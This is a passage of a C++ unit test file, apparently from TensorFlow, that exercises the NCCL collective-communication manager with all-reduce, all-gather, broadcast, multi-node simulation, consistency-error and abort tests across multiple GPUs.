TF_CHECK_OK(DeviceFactory::GetFactory(DEVICE_GPU)
->AddDevices(SessionOptions(), "", &devices));
std::vector<std::unique_ptr<BaseGPUDevice>> gpus;
for (std::unique_ptr<Device>& device : devices) {
if (device->device_type() == "GPU") {
// If `device_type()` is GPU, this `Device` is guaranteed to be a
// `BaseGPUDevice`, which is a subclass of `Device`.
gpus.emplace_back(static_cast<BaseGPUDevice*>(device.release()));
}
}
return gpus;
}
template <typename Scalar>
class NcclManagerTest : public ::testing::Test {
public:
// A single all-reduce to apply.
struct TestCase {
TestCase(int num_nodes, int num_ranks_per_node)
: num_nodes(num_nodes), num_ranks_per_node(num_ranks_per_node) {}
std::vector<Tensor> ins;
std::vector<Tensor> outs;
Tensor expected;
const int num_nodes;
const int num_ranks_per_node;
mutex mu;
Status final_status;
int num_completed TF_GUARDED_BY(mu) = 0;
condition_variable done_cv;
};
static void SetUpTestSuite() {
setenv("NCCL_DEBUG", "INFO", 1 /* replace */);
setenv("NCCL_LAUNCH_MODE", "PARALLEL", 1 /* replace */);
devices_ = new std::vector<std::unique_ptr<BaseGPUDevice>>(GetGPUDevices());
VLOG(1) << "Running test with " << devices_->size() << " gpus";
if (devices_->size() <= 1) {
LOG(FATAL) << "Cannot run NCCL test without multiple GPUs";
}
work_queue_ = new UnboundedWorkQueue(Env::Default(), "nccl_manager_test");
}
void SetUp() override {
ASSERT_GT(devices_->size(), 0) << "No GPUs found";
ASSERT_NE(work_queue_, nullptr);
}
static int32 NumGPUs() { return static_cast<int32>(devices_->size()); }
// Let N = #GPUs. When N is even, num_nodes=2 and num_ranks_per_node=N/2.
// When N is odd, num_nodes=2 and num_ranks_per_node=(N-1)/2.
static void PopulateMultiNodeParams(int* num_nodes, int* num_ranks_per_node) {
const auto num_gpus = NumGPUs();
CHECK_GT(num_gpus, 1);
*num_nodes = 2;
if (num_gpus % 2 == 0) {
*num_ranks_per_node = num_gpus / 2;
} else {
*num_ranks_per_node = (num_gpus - 1) / 2;
}
}
static void TearDownTestSuite() {
delete devices_;
delete work_queue_;
}
TestCase* MakeReductionTestCase(int num_nodes, int num_ranks_per_node,
ncclRedOp_t reduction_op, TensorShape shape,
float value_offset) {
TestCase* test_case = new TestCase(num_nodes, num_ranks_per_node);
test_case->expected = Tensor(data_type_, shape);
if (reduction_op == ncclProd) {
test::FillFn<Scalar>(&test_case->expected,
[](int) { return static_cast<Scalar>(1); });
} else if (reduction_op == ncclSum) {
test::FillFn<Scalar>(&test_case->expected,
[](int) { return static_cast<Scalar>(0); });
} else if (reduction_op == ncclMax) {
test::FillFn<Scalar>(&test_case->expected, [](int) { return -max_; });
} else if (reduction_op == ncclMin) {
test::FillFn<Scalar>(&test_case->expected, [](int) { return max_; });
} else {
LOG(FATAL) << "Invalid reduction_op " << reduction_op;
}
float value_scale = 0.01; // Small scale to avoid fp16 overflow.
for (int node = 0; node < num_nodes; ++node) {
for (int local_rank = 0; local_rank < num_ranks_per_node; ++local_rank) {
auto* device = GetDevice(num_ranks_per_node, node, local_rank);
auto* stream = device->tensorflow_gpu_device_info()->stream;
Tensor in_cpu(data_type_, shape);
test::FillFn<Scalar>(&in_cpu, [&](int index) {
return static_cast<Scalar>((index + 1) * value_scale + value_offset);
});
for (int j = 0; j < shape.num_elements(); ++j) {
auto in_val = in_cpu.flat<Scalar>()(j);
auto out_expr = test_case->expected.template flat<Scalar>();
if (reduction_op == ncclProd) {
out_expr(j) = out_expr(j) * in_val;
} else if (reduction_op == ncclSum) {
out_expr(j) = out_expr(j) + in_val;
} else if (reduction_op == ncclMax) {
if (in_val > out_expr(j)) {
out_expr(j) = in_val;
}
} else if (reduction_op == ncclMin) {
if (in_val < out_expr(j)) {
out_expr(j) = in_val;
}
}
}
value_scale *= 10;
test_case->ins.emplace_back(GpuAllocator(device), data_type_, shape);
test_case->outs.emplace_back(GpuAllocator(device), data_type_, shape);
const Tensor& in_gpu = test_case->ins.back();
auto in_gpu_mem = AsDeviceMemory(in_gpu.flat<Scalar>().data());
stream->ThenMemcpy(&in_gpu_mem, in_cpu.flat<Scalar>().data(),
in_cpu.TotalBytes());
}
}
return test_case;
}
TestCase* MakeGatherTestCase(int num_nodes, int num_ranks_per_node,
TensorShape in_shape, TensorShape out_shape) {
TestCase* test_case = new TestCase(num_nodes, num_ranks_per_node);
test_case->expected = Tensor(data_type_, out_shape);
test::FillFn<Scalar>(&test_case->expected,
[](int) { return static_cast<Scalar>(0); });
float value_scale = 0.01; // Small scale to avoid fp16 overflow.
for (int node = 0; node < num_nodes; ++node) {
for (int i = 0; i < num_ranks_per_node; ++i) {
auto* device = GetDevice(num_ranks_per_node, node, i);
auto* stream = device->tensorflow_gpu_device_info()->stream;
Tensor in_cpu(data_type_, in_shape);
test::FillFn<Scalar>(&in_cpu, [&](int index) {
return static_cast<Scalar>((index + 1) * value_scale);
});
// Starting index for this rank's tensor in the all-gathered output.
int32 gather_idx =
(node * num_ranks_per_node + i) * in_shape.num_elements();
for (int j = 0; j < in_shape.num_elements(); ++j) {
auto in_val = in_cpu.flat<Scalar>()(j);
auto out_expr = test_case->expected.template flat<Scalar>();
out_expr(gather_idx + j) = in_val;
}
value_scale *= 10;
test_case->ins.emplace_back(GpuAllocator(device), data_type_, in_shape);
test_case->outs.emplace_back(GpuAllocator(device), data_type_,
out_shape);
const Tensor& in_gpu = test_case->ins.back();
auto in_gpu_mem = AsDeviceMemory(in_gpu.flat<Scalar>().data());
stream->ThenMemcpy(&in_gpu_mem, in_cpu.flat<Scalar>().data(),
in_cpu.TotalBytes());
}
}
return test_case;
}
// Make a broadcast test which broadcasts a tensor with shape `shape` from
// `src_node`, `src_rank` to all other ranks.
// If `in_place` is true, input and output are the same for the source,
// otherwise they are tensors backed by different buffers.
TestCase* MakeBroadcastTestCase(int num_nodes, int num_ranks_per_node,
TensorShape shape, int src_node, int src_rank,
bool in_place) {
TestCase* test_case = new TestCase(num_nodes, num_ranks_per_node);
test_case->expected = Tensor(data_type_, shape);
test::FillFn<Scalar>(&test_case->expected,
[](int) { return static_cast<Scalar>(1); });
for (int node = 0; node < num_nodes; ++node) {
for (int local_rank = 0; local_rank < num_ranks_per_node; ++local_rank) {
auto* device = GetDevice(num_ranks_per_node, node, local_rank);
if (node == src_node && local_rank == src_rank) {
test_case->ins.emplace_back(GpuAllocator(device), data_type_, shape);
if (in_place) {
test_case->outs.emplace_back(test_case->ins.back());
} else {
test_case->outs.emplace_back(GpuAllocator(device), data_type_,
shape);
}
Tensor in_cpu(data_type_, shape);
test::FillFn<Scalar>(&in_cpu,
[](int) { return static_cast<Scalar>(1); });
const Tensor& in_gpu = test_case->ins.back();
auto in_gpu_mem = AsDeviceMemory(in_gpu.flat<Scalar>().data());
auto* stream = device->tensorflow_gpu_device_info()->stream;
stream->ThenMemcpy(&in_gpu_mem, in_cpu.flat<Scalar>().data(),
in_cpu.TotalBytes());
} else {
test_case->ins.emplace_back(Tensor());
test_case->outs.emplace_back(GpuAllocator(device), data_type_, shape);
}
}
}
return test_case;
}
// Waits for the done callback to be called for each participant.
void WaitForTestCompletion(TestCase* test_case) {
mutex_lock l(test_case->mu);
while (test_case->num_completed != test_case->outs.size()) {
test_case->done_cv.wait(l);
}
}
void VerifyResults(TestCase* test_case) {
WaitForTestCompletion(test_case);
TF_ASSERT_OK(test_case->final_status);
// Copy memory to host and verify.
for (int node = 0; node < test_case->num_nodes; ++node) {
for (int local_rank = 0; local_rank < test_case->num_ranks_per_node;
++local_rank) {
auto* device =
GetDevice(test_case->num_ranks_per_node, node, local_rank);
auto* stream = device->tensorflow_gpu_device_info()->stream;
const int global_rank =
GlobalRank(test_case->num_ranks_per_node, node, local_rank);
const Tensor& out_gpu = test_case->outs[global_rank];
Tensor out_cpu(data_type_, out_gpu.shape());
auto out_gpu_mem = AsDeviceMemory(out_gpu.flat<Scalar>().data());
stream->ThenMemcpy(out_cpu.flat<Scalar>().data(), out_gpu_mem,
out_cpu.TotalBytes());
SE_ASSERT_OK(stream->BlockHostUntilDone());
VLOG(1) << "Verifying rank " << global_rank << " expected shape "
<< test_case->expected.shape() << " out shape "
<< out_cpu.shape();
test::ExpectClose(test_case->expected, out_cpu);
}
}
}
void VerifyError(TestCase* test_case) {
WaitForTestCompletion(test_case);
LOG(INFO) << test_case->final_status;
EXPECT_EQ(test_case->final_status.code(), error::INTERNAL);
}
NcclManager::DoneCallback CreateDoneCallback(TestCase* test_case) {
return [this, test_case](Status s) {
mutex_lock l(test_case->mu);
test_case->final_status.Update(s);
if (++test_case->num_completed == test_case->outs.size()) {
test_case->done_cv.notify_one();
}
};
}
struct NodeState {
NcclManager nccl_manager;
std::atomic<int> launched{0};
};
void RunMultiNodeAllReduceTest(const int num_nodes,
const int num_ranks_per_node) {
std::vector<NodeState> node_states(num_nodes);
RunMultiNodeAllReduceTest(node_states, num_ranks_per_node);
}
void RunMultiNodeAllReduceTest(std::vector<NodeState>& node_states,
const int num_ranks_per_node) {
const int num_nodes = node_states.size();
const int num_global_ranks = num_nodes * num_ranks_per_node;
const string collective_key = "allreduce";
// The NcclManagers in this test synchronize in real-time, so we need to run
// each node's code in a separate thread.
// Specifically, the call to ncclGroupEnd() after calling ncclCommInitRank
// waits for all communicators before returning.
// First, initialize the communicator_key used for this collective.
const string communicator_key =
node_states[0].nccl_manager.GenerateCommunicatorKey();
for (int op = 0; op < 4; ++op) {
ncclRedOp_t reduction_op = static_cast<ncclRedOp_t>(op);
std::unique_ptr<TestCase> test_case(
this->MakeReductionTestCase(num_nodes, num_ranks_per_node,
reduction_op, TensorShape({2, 3}), 0.0f));
for (int node = 0; node < num_nodes; ++node) {
auto node_fn = [this, node, num_ranks_per_node, num_global_ranks,
&node_states, &communicator_key, &collective_key,
reduction_op, &test_case] {
for (int local_rank = 0; local_rank < num_ranks_per_node;
++local_rank) {
auto* device = GetDevice(num_ranks_per_node, node, local_rank);
auto* info = device->tensorflow_gpu_device_info();
auto* stream = device->tensorflow_gpu_device_info()->stream;
const int global_rank =
GlobalRank(num_ranks_per_node, node, local_rank);
auto participant = absl::make_unique<NcclManager::Participant>(
device->executor(), stream, info, &test_case->ins[global_rank],
&test_case->outs[global_rank], global_rank,
this->CreateDoneCallback(test_case.get()));
node_states[node].nccl_manager.AddToAllReduce(
std::move(participant),
{collective_key, num_ranks_per_node, num_global_ranks,
communicator_key, /*source_rank=*/-1},
reduction_op);
VLOG(1) << "AddToAllReduce node " << node << " global_rank "
<< global_rank;
}
// Signal collective ready to launch at this node.
node_states[node].nccl_manager.SignalMultiNodeReady(collective_key);
};
this->work_queue_->Schedule(node_fn);
}
VLOG(2) << "Verifying results";
this->VerifyResults(test_case.get());
}
}
void RunMultiNodeBroadcastTest(const int num_nodes,
const int num_ranks_per_node,
const int src_node, const int src_local_rank,
const bool in_place) {
const int num_global_ranks = num_nodes * num_ranks_per_node;
const int src_global_rank = src_node * num_ranks_per_node + src_local_rank;
const string collective_key = "broadcast";
std::vector<NodeState> node_states(num_nodes);
const string communicator_key =
node_states[0].nccl_manager.GenerateCommunicatorKey();
std::unique_ptr<TestCase> test_case(this->MakeBroadcastTestCase(
num_nodes, num_ranks_per_node, TensorShape({5, 6}), src_node,
src_local_rank, in_place));
for (int node = 0; node < num_nodes; ++node) {
for (int local_rank = 0; local_rank < num_ranks_per_node; ++local_rank) {
// Launch each rank in a separate thread to test concurrent,
// randomly-ordered calls into NcclManager.
auto rank_fn = [this, node, num_ranks_per_node, num_global_ranks,
src_global_rank, local_rank, &node_states,
&collective_key, &communicator_key, &test_case]() {
auto* device = GetDevice(num_ranks_per_node, node, local_rank);
auto* info = device->tensorflow_gpu_device_info();
auto* stream = device->tensorflow_gpu_device_info()->stream;
const int global_rank =
GlobalRank(num_ranks_per_node, node, local_rank);
auto* input = global_rank == src_global_rank
? &test_case->ins[global_rank]
: nullptr;
auto* output = test_case->outs[global_rank].NumElements() == 0
? nullptr
: &test_case->outs[global_rank];
auto participant = absl::make_unique<NcclManager::Participant>(
device->executor(), stream, info, input, output, global_rank,
this->CreateDoneCallback(test_case.get()));
if (global_rank == src_global_rank) {
node_states[node].nccl_manager.AddBroadcastSend(
std::move(participant),
{collective_key, num_ranks_per_node, num_global_ranks,
communicator_key, src_global_rank});
} else {
node_states[node].nccl_manager.AddBroadcastRecv(
std::move(participant),
{collective_key, num_ranks_per_node, num_global_ranks,
communicator_key, src_global_rank});
}
if (++node_states[node].launched == num_ranks_per_node) {
// Signal collective ready to launch at this node.
node_states[node].nccl_manager.SignalMultiNodeReady(collective_key);
}
};
this->work_queue_->Schedule(std::move(rank_fn));
}
}
VLOG(2) << "Verifying results";
this->VerifyResults(test_case.get());
}
static int GlobalRank(int num_ranks_per_node, int node, int local_rank) {
return node * num_ranks_per_node + local_rank;
}
static BaseGPUDevice* GetDevice(int num_ranks_per_node, int node,
int local_rank) {
const int device_idx = GlobalRank(num_ranks_per_node, node, local_rank);
CHECK_LT(device_idx, devices_->size());
return (*devices_)[device_idx].get();
}
static UnboundedWorkQueue* work_queue_;
private:
static Allocator* GpuAllocator(BaseGPUDevice* device) {
return device->GetAllocator(AllocatorAttributes());
}
static se::DeviceMemory<Scalar> AsDeviceMemory(const Scalar* cuda_memory) {
se::DeviceMemoryBase wrapped(const_cast<Scalar*>(cuda_memory));
se::DeviceMemory<Scalar> typed(wrapped);
return typed;
}
static std::vector<std::unique_ptr<BaseGPUDevice>>* devices_;
static const DataType data_type_;
static const Scalar max_;
};
template <typename Scalar>
std::vector<std::unique_ptr<BaseGPUDevice>>* NcclManagerTest<Scalar>::devices_ =
nullptr;
template <typename Scalar>
const DataType NcclManagerTest<Scalar>::data_type_ =
DataTypeToEnum<Scalar>::value;
template <typename Scalar>
const Scalar NcclManagerTest<Scalar>::max_ =
Eigen::NumTraits<Scalar>::highest();
template <typename Scalar>
UnboundedWorkQueue* NcclManagerTest<Scalar>::work_queue_ = nullptr;
// Instantiate tests for float and double.
using TypeList = ::testing::Types<float, double>;
TYPED_TEST_SUITE(NcclManagerTest, TypeList);
// Test basic sum reduction.
TYPED_TEST(NcclManagerTest, BasicSumReduction) {
const int num_ranks = this->NumGPUs();
for (int op = 0; op < 4; ++op) {
ncclRedOp_t reduction_op = static_cast<ncclRedOp_t>(op);
std::unique_ptr<typename TestFixture::TestCase> test_case(
this->MakeReductionTestCase(/*num_nodes=*/1, num_ranks, reduction_op,
TensorShape({2, 3}), 0.0f));
for (int rank = 0; rank < num_ranks; ++rank) {
auto* device = this->GetDevice(num_ranks, /*node=*/0, rank);
VLOG(2) << "rank " << rank << " device " << device->name();
auto* info = device->tensorflow_gpu_device_info();
auto* stream = device->tensorflow_gpu_device_info()->stream;
auto participant = absl::make_unique<NcclManager::Participant>(
device->executor(), stream, info, &test_case->ins[rank],
&test_case->outs[rank], /*global_rank=*/-1,
this->CreateDoneCallback(test_case.get()));
NcclManager::instance()->AddToAllReduce(
std::move(participant),
{"allreduce", /*num_local_devices=*/num_ranks,
/*num_global_devices=*/num_ranks, /*communicator_key=*/"",
/*source_rank=*/-1},
reduction_op);
}
LOG(INFO) << "Verifying results";
this->VerifyResults(test_case.get());
}
}
// Same as the Basic test, but with multiple threads launching parts of many
// reductions.
//
// To run test longer, increase num_ranks, num_collectives_per_iteration and
// time_limit_micros.
TYPED_TEST(NcclManagerTest, MultipleCallers) {
const int num_ranks = this->NumGPUs();
const int num_collectives_per_iteration = 10;
const int time_limit_micros = 1 * 1000 * 1000; // 1 second
int64 start = Env::Default()->NowMicros();
srand(Env::Default()->NowMicros());
for (;;) {
std::vector<std::pair<int, int>> case_and_rank;
std::vector<std::unique_ptr<typename TestFixture::TestCase>> test_cases;
for (int i = 0; i < num_collectives_per_iteration; ++i) {
test_cases.emplace_back(this->MakeReductionTestCase(
/*num_nodes=*/1, num_ranks, ncclSum,
TensorShape({100, i % 5 + 1, i % 3 + 1}), 1.1f * i));
for (int j = 0; j < num_ranks; ++j) {
case_and_rank.emplace_back(i, j);
}
}
for (int rank = 0; rank < num_ranks; ++rank) {
auto* device = this->GetDevice(num_ranks, /*node=*/0, rank);
auto* stream = device->tensorflow_gpu_device_info()->stream;
SE_ASSERT_OK(stream->BlockHostUntilDone());
}
std::shuffle(case_and_rank.begin(), case_and_rank.end(),
std::mt19937(std::random_device()()));
mutex mu; // guards case_and_rank.
const int to_schedule = case_and_rank.size();
for (int i = 0; i < to_schedule; ++i) {
auto fn = [&]() {
int rank;
int test_num;
{
mutex_lock l(mu);
test_num = case_and_rank.back().first;
rank = case_and_rank.back().second;
case_and_rank.pop_back();
}
auto* device = this->GetDevice(num_ranks, /*node=*/0, rank);
auto* info = device->tensorflow_gpu_device_info();
auto* stream = device->tensorflow_gpu_device_info()->stream;
typename TestFixture::TestCase* test_case = test_cases[test_num].get();
auto participant = absl::make_unique<NcclManager::Participant>(
device->executor(), stream, info, &test_case->ins[rank],
&test_case->outs[rank], /*global_rank=*/-1,
this->CreateDoneCallback(test_case));
NcclManager::instance()->AddToAllReduce(
std::move(participant),
{strings::StrCat("allreduce", test_num),
/*num_local_devices=*/num_ranks,
/*num_global_devices=*/num_ranks,
/*communicator_key=*/"", /*source_rank=*/-1},
ncclSum);
};
this->work_queue_->Schedule(fn);
}
VLOG(2) << "Verifying results for " << num_collectives_per_iteration
<< " collectives";
for (int i = 0; i < test_cases.size(); ++i) {
this->VerifyResults(test_cases[i].get());
}
int64 delta = Env::Default()->NowMicros() - start;
if (delta > time_limit_micros) {
LOG(INFO) << "Ran for " << delta << " microsecs, now quitting";
break;
}
}
}
// Test basic all-gather.
TYPED_TEST(NcclManagerTest, BasicAllGather) {
const int num_ranks = this->NumGPUs();
for (int i = 0; i < num_ranks; ++i) {
std::unique_ptr<typename TestFixture::TestCase> test_case(
this->MakeGatherTestCase(/*num_nodes=*/1, num_ranks,
TensorShape({2, 3}),
TensorShape({2 * num_ranks, 3})));
for (int rank = 0; rank < num_ranks; ++rank) {
auto* device = this->GetDevice(num_ranks, /*node=*/0, rank);
VLOG(2) << "rank " << rank << " device " << device->name();
auto* info = device->tensorflow_gpu_device_info();
auto* stream = device->tensorflow_gpu_device_info()->stream;
auto participant = absl::make_unique<NcclManager::Participant>(
device->executor(), stream, info, &test_case->ins[rank],
&test_case->outs[rank], rank,
this->CreateDoneCallback(test_case.get()));
NcclManager::instance()->AddToAllGather(
std::move(participant),
{"allgather", /*num_local_devices=*/num_ranks,
/*num_global_devices=*/num_ranks, /*communicator_key=*/"",
/*source_rank=*/-1});
}
LOG(INFO) << "Verifying results";
this->VerifyResults(test_case.get());
}
}
// Test basic broadcast.
TYPED_TEST(NcclManagerTest, BasicBroadcast) {
this->RunMultiNodeBroadcastTest(/*num_nodes=*/1,
/*num_ranks_per_node=*/this->NumGPUs(),
/*src_node=*/0, /*src_local_rank=*/0,
/*in_place=*/false);
}
// Test in-place broadcast.
TYPED_TEST(NcclManagerTest, InPlaceBroadcast) {
this->RunMultiNodeBroadcastTest(/*num_nodes=*/1,
/*num_ranks_per_node=*/this->NumGPUs(),
/*src_node=*/0, /*src_local_rank=*/0,
/*in_place=*/true);
}
// Test broadcast with increasing ranks.
TYPED_TEST(NcclManagerTest, BroadcastWithDifferentRanks) {
for (int num_ranks = 1; num_ranks <= this->NumGPUs(); ++num_ranks) {
const int src_rank = static_cast<int>(random::New64() % num_ranks);
for (int in_place_idx = 0; in_place_idx <= 1; ++in_place_idx) {
const bool in_place = in_place_idx == 0;
this->RunMultiNodeBroadcastTest(/*num_nodes=*/1, num_ranks,
/*src_node=*/0, src_rank, in_place);
}
}
}
// Multi-node NCCL tests.
TEST(NcclManagerTest, CommunicatorKey) {
const string communicator_key =
NcclManager::instance()->GenerateCommunicatorKey();
EXPECT_EQ(communicator_key.size(), NCCL_UNIQUE_ID_BYTES);
}
#if !TENSORFLOW_USE_ROCM
// ROCm platform currently does not support simulating a mutli-node
// environment, on a single node with multiple GPUS. So tests that rely
// upon such simulation need to be skipped on the ROCm platform
// This test creates `num_nodes` NcclManagers to simulate a multi-node
// environment. It works on a single node with multiple GPUs. It enqueues NCCL
// kernels on separate stream per rank.
TYPED_TEST(NcclManagerTest, MultiNode) {
int num_nodes;
int num_ranks_per_node;
this->PopulateMultiNodeParams(&num_nodes, &num_ranks_per_node);
VLOG(1) << "Calling RunMultiNodeAllReduceTest with num_nodes=" << num_nodes
<< " and num_ranks_per_node=" << num_ranks_per_node;
this->RunMultiNodeAllReduceTest(num_nodes, num_ranks_per_node);
}
#endif
// Tests that specifying `communicator_key` with a single node NCCL collective
// works well.
TYPED_TEST(NcclManagerTest, MultiNodeSingle) {
this->RunMultiNodeAllReduceTest(/*num_nodes=*/1,
/*num_ranks_per_node=*/this->NumGPUs());
}
#if !TENSORFLOW_USE_ROCM
// ROCm platform currently does not support simulating a mutli-node
// environment, on a single node with multiple GPUS. So tests that rely
// upon such simulation need to be skipped on the ROCm platform
// Multi-node broadcast.
TYPED_TEST(NcclManagerTest, MultiNodeBroadcast) {
int num_nodes;
int num_ranks_per_node;
this->PopulateMultiNodeParams(&num_nodes, &num_ranks_per_node);
VLOG(1) << "Calling RunMultiNodeBroadcastTest with num_nodes=" << num_nodes
<< " and num_ranks_per_node=" << num_ranks_per_node;
this->RunMultiNodeBroadcastTest(num_nodes, num_ranks_per_node,
/*src_node=*/0, /*src_local_rank=*/0,
/*in_place=*/true);
}
#endif
// Checks that we return error status if a collective_key is used for different
// types of collectives, e.g.a reduction and a broadcast.
TYPED_TEST(NcclManagerTest, ConsistentCollectiveType) {
const int num_ranks = 2;
std::unique_ptr<typename TestFixture::TestCase> test_case(
this->MakeReductionTestCase(/*num_nodes=*/1, num_ranks, ncclSum,
TensorShape({2, 3}), 0.0f));
for (int rank = 0; rank < num_ranks; ++rank) {
auto* device = this->GetDevice(num_ranks, /*node=*/0, rank);
auto* info = device->tensorflow_gpu_device_info();
auto* stream = device->tensorflow_gpu_device_info()->stream;
auto participant = absl::make_unique<NcclManager::Participant>(
device->executor(), stream, info, &test_case->ins[rank],
&test_case->outs[rank], /*global_rank=*/-1,
this->CreateDoneCallback(test_case.get()));
if (rank == 0) {
NcclManager::instance()->AddToAllReduce(std::move(participant),
{"bad_coll_type",
/*num_local_devices=*/num_ranks,
/*num_global_devices=*/num_ranks,
/*communicator_key=*/"",
/*source_rank=*/-1},
ncclSum);
} else {
NcclManager::instance()->AddBroadcastSend(
std::move(participant),
{"bad_coll_type",
/*num_local_devices=*/num_ranks,
/*num_global_devices=*/num_ranks,
/*communicator_key=*/"", /*source_rank=*/-1});
}
}
this->VerifyError(test_case.get());
}
// Checks that we return error status if different communicator_key is passed to
// same collective.
TYPED_TEST(NcclManagerTest, ConsistentCommunicatorKey) {
const int num_ranks = 2;
std::unique_ptr<typename TestFixture::TestCase> test_case(
this->MakeReductionTestCase(/*num_nodes=*/1, num_ranks, ncclSum,
TensorShape({2, 3}), 0.0f));
for (int rank = 0; rank < num_ranks; ++rank) {
auto* device = this->GetDevice(num_ranks, /*node=*/0, rank);
auto* info = device->tensorflow_gpu_device_info();
auto* stream = device->tensorflow_gpu_device_info()->stream;
auto participant = absl::make_unique<NcclManager::Participant>(
device->executor(), stream, info, &test_case->ins[rank],
&test_case->outs[rank], /*global_rank=*/-1,
this->CreateDoneCallback(test_case.get()));
NcclManager::instance()->AddToAllReduce(
std::move(participant),
{"bad_coll_type",
/*num_local_devices=*/num_ranks,
/*num_global_devices=*/num_ranks,
rank == 0 ? "" : NcclManager::instance()->GenerateCommunicatorKey(),
/*source_rank=*/-1},
ncclSum);
}
this->VerifyError(test_case.get());
}
// Checks that we return error status if the number of devices is inconsistent
// across multiple participants of a collective.
TYPED_TEST(NcclManagerTest, ConsistentNumberOfDevices) {
const int num_ranks = 2;
std::unique_ptr<typename TestFixture::TestCase> test_case(
this->MakeReductionTestCase(/*num_nodes=*/1, num_ranks, ncclSum,
TensorShape({2, 3}), 0.0f));
for (int rank = 0; rank < num_ranks; ++rank) {
auto* device = this->GetDevice(num_ranks, /*node=*/0, rank);
auto* info = device->tensorflow_gpu_device_info();
auto* stream = device->tensorflow_gpu_device_info()->stream;
int num_devices = rank == 0 ? num_ranks : num_ranks + 1;
auto participant = absl::make_unique<NcclManager::Participant>(
device->executor(), stream, info, &test_case->ins[rank],
&test_case->outs[rank], /*global_rank=*/-1,
this->CreateDoneCallback(test_case.get()));
NcclManager::instance()->AddToAllReduce(std::move(participant),
{"bad_coll_type",
/*num_local_devices=*/num_devices,
/*num_global_devices=*/num_devices,
/*communicator_key=*/"",
/*source_rank=*/-1},
ncclSum);
}
this->VerifyError(test_case.get());
}
// Checks that we return error status if a broadcast does not have source.
TYPED_TEST(NcclManagerTest, BroadcastNoSource) {
const int num_ranks = 2;
std::unique_ptr<typename TestFixture::TestCase> test_case(
this->MakeBroadcastTestCase(/*num_nodes=*/1, num_ranks,
TensorShape({2, 3}), /*src_node=*/-1,
/*src_rank=*/-1, false));
for (int rank = 0; rank < num_ranks; ++rank) {
auto* device = this->GetDevice(num_ranks, /*node=*/0, rank);
auto* info = device->tensorflow_gpu_device_info();
auto* stream = device->tensorflow_gpu_device_info()->stream;
auto participant = absl::make_unique<NcclManager::Participant>(
device->executor(), stream, info, nullptr, &test_case->outs[rank], rank,
this->CreateDoneCallback(test_case.get()));
NcclManager::instance()->AddBroadcastRecv(std::move(participant),
{"bcast_no_send",
/*num_local_devices=*/num_ranks,
/*num_global_devices=*/num_ranks,
/*communicator_key=*/"",
/*source_rank=*/-1});
}
this->VerifyError(test_case.get());
}
// Checks that we return error status if a broadcast has multiple sends.
TYPED_TEST(NcclManagerTest, BroadcastMultipleSends) {
const int num_ranks = 2;
std::unique_ptr<typename TestFixture::TestCase> test_case(
this->MakeBroadcastTestCase(/*num_nodes=*/1, num_ranks,
TensorShape({2, 3}), /*src_node=*/-1,
/*src_rank=*/-1, false));
for (int rank = 0; rank < num_ranks; ++rank) {
auto* device = this->GetDevice(num_ranks, /*node=*/0, rank);
auto* info = device->tensorflow_gpu_device_info();
auto* stream = device->tensorflow_gpu_device_info()->stream;
auto participant = absl::make_unique<NcclManager::Participant>(
device->executor(), stream, info, &test_case->outs[rank],
&test_case->outs[rank], rank,
this->CreateDoneCallback(test_case.get()));
NcclManager::instance()->AddBroadcastSend(std::move(participant),
{"bcast_multiple_send",
/*num_local_devices=*/num_ranks,
/*num_global_devices=*/num_ranks,
/*communicator_key=*/"",
/*source_rank=*/-1});
}
this->VerifyError(test_case.get());
}
// Checks that we return error status if a broadcast has inconsistent source
// ranks.
TYPED_TEST(NcclManagerTest, BroadcastInconsistentSource) {
const int num_ranks = 2;
std::unique_ptr<typename TestFixture::TestCase> test_case(
this->MakeBroadcastTestCase(/*num_nodes=*/1, num_ranks,
TensorShape({2, 3}), /*src_node=*/-1,
/*src_rank=*/-1, false));
for (int rank = 0; rank < num_ranks; ++rank) {
auto* device = this->GetDevice(num_ranks, /*node=*/0, rank);
auto* info = device->tensorflow_gpu_device_info();
auto* stream = device->tensorflow_gpu_device_info()->stream;
auto participant = absl::make_unique<NcclManager::Participant>(
device->executor(), stream, info, &test_case->outs[rank],
&test_case->outs[rank], rank,
this->CreateDoneCallback(test_case.get()));
NcclManager::instance()->AddBroadcastRecv(std::move(participant),
{"bcast_inconsistent_source",
/*num_local_devices=*/num_ranks,
/*num_global_devices=*/num_ranks,
/*communicator_key=*/"",
/*source_rank=*/rank});
}
this->VerifyError(test_case.get());
}
#if !TENSORFLOW_USE_ROCM
// ROCm platform currently does not support simulating a mutli-node
// environment, on a single node with multiple GPUS. So tests that rely
// upon such simulation need to be skipped on the ROCm platform
TYPED_TEST(NcclManagerTest, Abort) {
using NodeState = typename TestFixture::NodeState;
using TestCase = typename TestFixture::TestCase;
int num_nodes = 2;
std::vector<NodeState> nodes(num_nodes);
// First do a normal all-reduce to simulate the the case when there're
// multiple communicators.
this->RunMultiNodeAllReduceTest(nodes, /* num_ranks_per_node */ 1);
// Use a new communicator_key, which uses a new set of ncclComm underneath.
string communicator_key = nodes[0].nccl_manager.GenerateCommunicatorKey();
string collective_key = "allreduce";
ncclRedOp_t reduction_op = static_cast<ncclRedOp_t>(0);
auto node_fn = [&](TestCase* test_case, int node) {
auto* device = this->GetDevice(/* num_ranks_per_node */ 1, node,
/* local_rank */ 0);
auto* info = device->tensorflow_gpu_device_info();
auto* stream = device->tensorflow_gpu_device_info()->stream;
auto participant = absl::make_unique<NcclManager::Participant>(
device->executor(), stream, info, &test_case->ins[node],
&test_case->outs[node], /* global_rank */ node,
this->CreateDoneCallback(test_case));
nodes[node].nccl_manager.AddToAllReduce(
std::move(participant),
{collective_key, /* num_local_devices */ 1,
/* num_global_devices */ num_nodes, communicator_key,
/*source_rank=*/-1},
reduction_op);
nodes[node].nccl_manager.SignalMultiNodeReady(collective_key);
};
// Do a normal all-reduce with this communicator key to initialize ncclComm.
// This is because ncclCommInitRank waits for all ranks and is blocking.
{
std::unique_ptr<typename TestFixture::TestCase> test_case(
this->MakeReductionTestCase(
/* num_nodes */ num_nodes, /* num_ranks_per_node */ 1, reduction_op,
TensorShape({2, 3}), 0.0f));
for (int i = 0; i < num_nodes; ++i) {
this->work_queue_->Schedule(
[&node_fn, &test_case, i]() { node_fn(test_case.get(), i); });
}
this->VerifyResults(test_case.get());
}
// A hanging all-reduce.
ASSERT_GT(num_nodes, 1);
std::unique_ptr<typename TestFixture::TestCase> test_case(
this->MakeReductionTestCase(
/* num_nodes */ num_nodes, /* num_ranks_per_node */ 1, reduction_op,
TensorShape({2, 3}), 0.0f));
node_fn(test_case.get(), 0);
Env::Default()->SleepForMicroseconds(1000000);
nodes[0].nccl_manager.StartAbort(errors::Unavailable("peer down"));
{
